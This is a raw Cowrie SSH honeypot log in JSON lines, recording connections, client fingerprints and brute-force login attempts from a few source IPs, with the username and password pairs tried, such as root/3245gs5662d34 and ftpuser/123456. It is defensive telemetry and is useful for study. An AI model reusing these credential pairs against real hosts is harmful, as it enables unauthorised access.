{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:09.868013Z","src_ip":"85.121.120.129","session":"6a2243a25798","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:10.217174Z","src_ip":"85.121.120.129","session":"6a2243a25798","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:11.299189Z","src_ip":"85.121.120.129","session":"6a2243a25798","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":40818,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc1d2cb7383","protocol":"ssh","message":"New connection: 85.121.120.129:40818 (10.17.0.5:22) [session: 2cc1d2cb7383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:11.364675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:11.369197Z","src_ip":"85.121.120.129","session":"2cc1d2cb7383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:11.443461Z","src_ip":"85.121.120.129","session":"2cc1d2cb7383","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:11.773918Z","src_ip":"85.121.120.129","session":"2cc1d2cb7383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:11.851025Z","src_ip":"85.121.120.129","session":"2cc1d2cb7383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:11.856124Z","src_ip":"85.121.120.129","session":"4b3b23b5bc5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":44986,"dst_ip":"159.203.135.109","dst_port":22,"session":"0faeb41b375f","protocol":"ssh","message":"New connection: 195.178.110.218:44986 (159.203.135.109:22) [session: 0faeb41b375f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:46.613462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:46.618353Z","src_ip":"195.178.110.218","session":"0faeb41b375f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:46.697797Z","src_ip":"195.178.110.218","session":"0faeb41b375f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:46.936363Z","src_ip":"195.178.110.218","session":"0faeb41b375f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:24:48.017611Z","src_ip":"195.178.110.218","session":"0faeb41b375f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":41336,"dst_ip":"10.17.0.5","dst_port":22,"session":"d965cf2f97d6","protocol":"ssh","message":"New connection: 160.22.123.78:41336 (10.17.0.5:22) [session: d965cf2f97d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:54.491484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:54.495821Z","src_ip":"160.22.123.78","session":"d965cf2f97d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:54.740521Z","src_ip":"160.22.123.78","session":"d965cf2f97d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":59666,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddb32ab2f283","protocol":"ssh","message":"New connection: 85.121.120.129:59666 (10.17.0.5:22) [session: ddb32ab2f283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:55.157773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:55.161731Z","src_ip":"85.121.120.129","session":"ddb32ab2f283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:55.239056Z","src_ip":"85.121.120.129","session":"ddb32ab2f283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gy","password":"gypassword","message":"login attempt [gy/gypassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:55.574843Z","src_ip":"85.121.120.129","session":"ddb32ab2f283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:55.755219Z","src_ip":"160.22.123.78","session":"d965cf2f97d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:56.650198Z","src_ip":"85.121.120.129","session":"ddb32ab2f283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:25:57.002128Z","src_ip":"160.22.123.78","session":"d965cf2f97d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":48143,"dst_ip":"10.17.0.5","dst_port":22,"session":"36fd6e214442","protocol":"ssh","message":"New connection: 2.57.121.25:48143 (10.17.0.5:22) [session: 36fd6e214442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:26:40.486974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:26:40.491145Z","src_ip":"2.57.121.25","session":"36fd6e214442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:26:40.594228Z","src_ip":"2.57.121.25","session":"36fd6e214442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12011980","message":"login attempt [user/12011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:26:41.082270Z","src_ip":"2.57.121.25","session":"36fd6e214442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1122334","message":"login attempt [user/1122334] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:26:42.187310Z","src_ip":"2.57.121.25","session":"36fd6e214442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11121991","message":"login attempt [user/11121991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:26:43.292990Z","src_ip":"2.57.121.25","session":"36fd6e214442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11101979","message":"login attempt [user/11101979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:26:44.398345Z","src_ip":"2.57.121.25","session":"36fd6e214442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11091992","message":"login attempt [user/11091992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:26:45.506166Z","src_ip":"2.57.121.25","session":"36fd6e214442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:26:46.611786Z","src_ip":"2.57.121.25","session":"36fd6e214442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":51422,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb36e1a0b39a","protocol":"ssh","message":"New connection: 85.121.120.129:51422 (10.17.0.5:22) [session: eb36e1a0b39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:37.549691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:37.554028Z","src_ip":"85.121.120.129","session":"eb36e1a0b39a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:37.627928Z","src_ip":"85.121.120.129","session":"eb36e1a0b39a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52496,"dst_ip":"159.203.135.109","dst_port":22,"session":"c47e3937c675","protocol":"ssh","message":"New connection: 195.178.110.218:52496 (159.203.135.109:22) [session: c47e3937c675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:37.633968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:37.637709Z","src_ip":"195.178.110.218","session":"c47e3937c675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:37.716744Z","src_ip":"195.178.110.218","session":"c47e3937c675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:37.954048Z","src_ip":"195.178.110.218","session":"c47e3937c675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"george","password":"george123","message":"login attempt [george/george123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:37.960504Z","src_ip":"85.121.120.129","session":"eb36e1a0b39a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:39.035429Z","src_ip":"195.178.110.218","session":"c47e3937c675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:39.040313Z","src_ip":"85.121.120.129","session":"eb36e1a0b39a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":47605,"dst_ip":"159.203.135.109","dst_port":22,"session":"d60f5bb9dab5","protocol":"ssh","message":"New connection: 2.57.121.25:47605 (159.203.135.109:22) [session: d60f5bb9dab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:51.530270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:27:51.533483Z","src_ip":"2.57.121.25","session":"d60f5bb9dab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowf